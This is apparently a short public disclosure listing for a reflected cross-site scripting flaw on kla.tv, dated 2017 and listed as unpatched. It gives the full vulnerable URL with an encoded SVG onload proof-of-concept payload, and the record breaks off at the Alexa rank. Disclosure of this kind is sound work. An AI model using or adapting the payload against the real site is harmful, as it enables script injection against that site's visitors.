kla.tv XSS vulnerability

Vulnerable URL: https://www.kla.tv/index.php?a=shownewsletter=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%2Fopenbugbounty%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1304...